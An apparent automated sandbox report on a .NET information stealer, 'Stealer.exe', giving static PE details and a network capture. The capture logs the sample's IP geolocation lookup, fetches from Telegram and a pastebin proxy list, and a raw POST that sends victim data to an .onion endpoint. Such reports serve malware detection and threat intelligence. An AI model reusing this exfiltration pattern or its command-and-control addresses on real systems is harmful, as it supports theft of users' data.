TLSH:	2B74A72837994729E1B4273D4C37233293B523536F17730AAA4370A52951ABD9D0BAFF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....T............"...0..4...........S... ...`....@.. ....................................`................................

File Icon


Icon Hash:	aaf3e3e3918382a0

Static PE Info

General

Entrypoint:	0x4553de
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x81805410 [Sat Nov 6 15:43:12 2038 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x55384	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x56000	0x612	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x58000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x533e4	0x53400	93c0df87a9164bbce13b1ff10a324279	False	0.4601192989864865	data	5.656298703669978	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x56000	0x612	0x800	693bc77a0c1a5ca627b1d62d880e0a91	False	0.34228515625	data	3.545184940020113	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x58000	0xc	0x200	30edaabb71d7d449943a334cf07dd46d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x560a0	0x388	data			0.4358407079646018
RT_MANIFEST	0x56428	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 10:30:47.210452080 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:47.304770947 CET	80	49163	208.95.112.1	192.168.2.22
Mar 29, 2024 10:30:47.304857969 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:47.307265043 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:47.403111935 CET	80	49163	208.95.112.1	192.168.2.22
Mar 29, 2024 10:30:47.603485107 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:49.160450935 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:49.254760027 CET	80	49163	208.95.112.1	192.168.2.22
Mar 29, 2024 10:30:49.257376909 CET	49163	80	192.168.2.22	208.95.112.1
Mar 29, 2024 10:30:49.377945900 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.377978086 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:49.378061056 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.483197927 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.483233929 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:49.861136913 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:49.861210108 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.866909027 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.866916895 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:49.867309093 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:49.946604967 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:49.992238045 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229649067 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229701996 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229712009 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229741096 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229762077 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229767084 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:50.229792118 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229808092 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:50.229855061 CET	443	49164	149.154.167.99	192.168.2.22
Mar 29, 2024 10:30:50.229911089 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:50.230161905 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:50.232543945 CET	49164	443	192.168.2.22	149.154.167.99
Mar 29, 2024 10:30:50.466140985 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.466178894 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:50.466248989 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.466836929 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.466850042 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:50.666232109 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:50.666316032 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.672126055 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.672136068 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:50.672432899 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:50.682517052 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:50.724236012 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:51.342000961 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:51.342128038 CET	443	49165	172.67.34.170	192.168.2.22
Mar 29, 2024 10:30:51.342597008 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:51.343908072 CET	49165	443	192.168.2.22	172.67.34.170
Mar 29, 2024 10:30:51.357322931 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:30:51.541559935 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:30:51.541632891 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:30:51.541835070 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:30:51.724695921 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:30:51.724992990 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:30:51.725244045 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:30:51.948698044 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:40.005934000 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:40.006102085 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:40.189251900 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:40.726600885 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:40.726865053 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:40.909914017 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:40.910185099 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.093233109 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.093571901 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.276586056 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.276614904 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.276627064 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.276861906 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.277498960 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.277509928 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.277543068 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.277566910 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.277610064 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.277642965 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.277642965 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.460103989 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460150957 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460156918 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460161924 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460166931 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460171938 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460318089 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460350037 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460479021 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.460556030 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.460623980 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.460644960 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.643723011 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.643747091 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.643774986 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.643785954 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.643806934 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.643863916 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.643863916 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.643906116 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.643953085 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:41.644222021 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644361973 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644480944 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644610882 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644669056 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644798040 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.644809008 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645052910 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645064116 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645128012 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645190001 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645200968 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645235062 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.645404100 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826833963 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826848984 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826859951 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826942921 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826953888 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826963902 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.826996088 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827011108 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827035904 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827109098 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827157974 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827235937 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827275038 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827341080 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827356100 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827394009 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:41.827425957 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:47.469018936 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:47.469043016 CET	9200	49166	188.166.166.142	192.168.2.22
Mar 29, 2024 10:31:47.469258070 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:47.473097086 CET	49166	9200	192.168.2.22	188.166.166.142
Mar 29, 2024 10:31:47.655802965 CET	9200	49166	188.166.166.142	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 10:30:46.629488945 CET	54562	53	192.168.2.22	8.8.8.8
Mar 29, 2024 10:30:46.744688034 CET	53	54562	8.8.8.8	192.168.2.22
Mar 29, 2024 10:30:49.168119907 CET	52917	53	192.168.2.22	8.8.8.8
Mar 29, 2024 10:30:49.270401955 CET	53	52917	8.8.8.8	192.168.2.22
Mar 29, 2024 10:30:49.273977041 CET	52917	53	192.168.2.22	8.8.8.8
Mar 29, 2024 10:30:49.376312017 CET	53	52917	8.8.8.8	192.168.2.22
Mar 29, 2024 10:30:50.245299101 CET	62751	53	192.168.2.22	8.8.8.8
Mar 29, 2024 10:30:50.355515957 CET	53	62751	8.8.8.8	192.168.2.22
Mar 29, 2024 10:30:50.355808020 CET	62751	53	192.168.2.22	8.8.8.8
Mar 29, 2024 10:30:50.461611032 CET	53	62751	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 29, 2024 10:30:46.629488945 CET	192.168.2.22	8.8.8.8	0xd57b	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:49.168119907 CET	192.168.2.22	8.8.8.8	0xf242	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:49.273977041 CET	192.168.2.22	8.8.8.8	0xf242	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.245299101 CET	192.168.2.22	8.8.8.8	0xcd5e	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.355808020 CET	192.168.2.22	8.8.8.8	0xcd5e	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 29, 2024 10:30:46.744688034 CET	8.8.8.8	192.168.2.22	0xd57b	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:49.270401955 CET	8.8.8.8	192.168.2.22	0xf242	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:49.376312017 CET	8.8.8.8	192.168.2.22	0xf242	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.355515957 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	172.67.34.170	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.355515957 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	104.20.68.143	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.355515957 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	104.20.67.143	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.461611032 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	172.67.34.170	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.461611032 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	104.20.68.143	A (IP address)	IN (0x0001)	false
Mar 29, 2024 10:30:50.461611032 CET	8.8.8.8	192.168.2.22	0xcd5e	No error (0)	pastebin.com	104.20.67.143	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

pastebin.com

ip-api.com

izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onioncontent-length: 110240expect: 100-continueconnection: keep-alive

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	208.95.112.1	80	2308	C:\Users\user\Desktop\Stealer.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 10:30:47.307265043 CET	64	OUT	GET /json HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Mar 29, 2024 10:30:47.403111935 CET	486	IN	HTTP/1.1 200 OK Date: Fri, 29 Mar 2024 09:30:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 309 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 43 6f 6c 75 6d 62 69 61 22 2c 22 63 69 74 79 22 3a 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 22 7a 69 70 22 3a 22 35 36 39 37 32 22 2c 22 6c 61 74 22 3a 33 38 2e 38 39 34 2c 22 6c 6f 6e 22 3a 2d 37 37 2e 30 33 36 35 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 41 53 31 37 34 22 2c 22 6f 72 67 22 3a 22 44 45 54 20 41 66 72 69 63 61 20 28 50 74 79 29 20 4c 54 44 22 2c 22 61 73 22 3a 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"DC","regionName":"District of Columbia","city":"Washington","zip":"56972","lat":38.894,"lon":-77.0365,"timezone":"America/New_York","isp":"AS174","org":"DET Africa (Pty) LTD","as":"AS174 Cogent Communications","query":"102.165.48.43"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	188.166.166.142	9200	2308	C:\Users\user\Desktop\Stealer.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 10:31:40.006102085 CET	300	OUT	POST /stld/4c9395d28d054ddebee26b2aa2a2c910?u=QWxidXM%3D&p=NzAxMTg4&i=MTAyLjE2NS40OC40Mw%3D%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=V2FzaGluZ3Rvbg%3D%3D&t=MzI3 HTTP/1.1Host: izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onionContent-Length: 110240Expect: 100-continueConnection: Keep-Alive Data Raw: Data Ascii:
Mar 29, 2024 10:31:40.726600885 CET	50	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 31 30 30 20 43 6f 6e 74 69 6e 75 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 100 Continue
Mar 29, 2024 10:31:47.469018936 CET	174	IN	HTTP/1.1 200 OK Server: Werkzeug/2.1.2 Python/3.11.0 Date: Fri, 29 Mar 2024 09:31:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2 Connection: close Data Raw: 6f 6b Data Ascii: ok

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	149.154.167.99	443	2308	C:\Users\user\Desktop\Stealer.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 09:30:49 UTC	65	OUT	GET /tor_proxies HTTP/1.1 Host: t.me Connection: Keep-Alive
2024-03-29 09:30:50 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 29 Mar 2024 09:30:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 10971 Connection: close Set-Cookie: stel_ssid=5a68848a4a540c03a4_18393739983077253990; expires=Sat, 30 Mar 2024 09:30:50 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-03-29 09:30:50 UTC	10971	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 74 6f 72 5f 70 72 6f 78 69 65 73 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @tor_proxies</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	172.67.34.170	443	2308	C:\Users\user\Desktop\Stealer.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 09:30:50 UTC	74	OUT	GET /raw/X2Ddjiv0 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-03-29 09:30:51 UTC	388	IN	HTTP/1.1 200 OK Date: Fri, 29 Mar 2024 09:30:51 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Fri, 29 Mar 2024 09:30:51 GMT Server: cloudflare CF-RAY: 86bed7f3cc0d8011-IAD
2024-03-29 09:30:51 UTC	186	IN	Data Raw: 62 34 0d 0a 31 38 38 2e 31 36 36 2e 31 36 36 2e 31 34 32 3a 39 32 30 30 0d 0a 31 35 39 2e 36 35 2e 31 35 36 2e 32 33 37 3a 31 34 30 30 0d 0a 31 33 30 2e 31 38 35 2e 38 33 2e 37 36 3a 39 31 35 31 0d 0a 35 2e 31 30 2e 32 32 38 2e 32 34 38 3a 39 30 35 30 0d 0a 34 37 2e 32 34 32 2e 36 39 2e 31 31 32 3a 39 31 35 31 0d 0a 31 30 33 2e 37 35 2e 31 39 37 2e 31 36 3a 33 31 31 36 0d 0a 33 35 2e 32 33 38 2e 31 36 31 2e 32 34 33 3a 39 30 37 30 0d 0a 31 38 2e 31 31 39 2e 34 30 2e 38 30 3a 39 30 35 30 0d 0a 38 2e 32 32 32 2e 31 36 38 2e 31 39 32 3a 39 30 30 37 0d 0a Data Ascii: b4188.166.166.142:9200159.65.156.237:1400130.185.83.76:91515.10.228.248:905047.242.69.112:9151103.75.197.16:311635.238.161.243:907018.119.40.80:90508.222.168.192:9007
2024-03-29 09:30:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:30:44
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\Stealer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Stealer.exe"
Imagebase:	0xad0000
File size:	344'064 bytes
MD5 hash:	495F88115EABED181E30727F2D2363D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
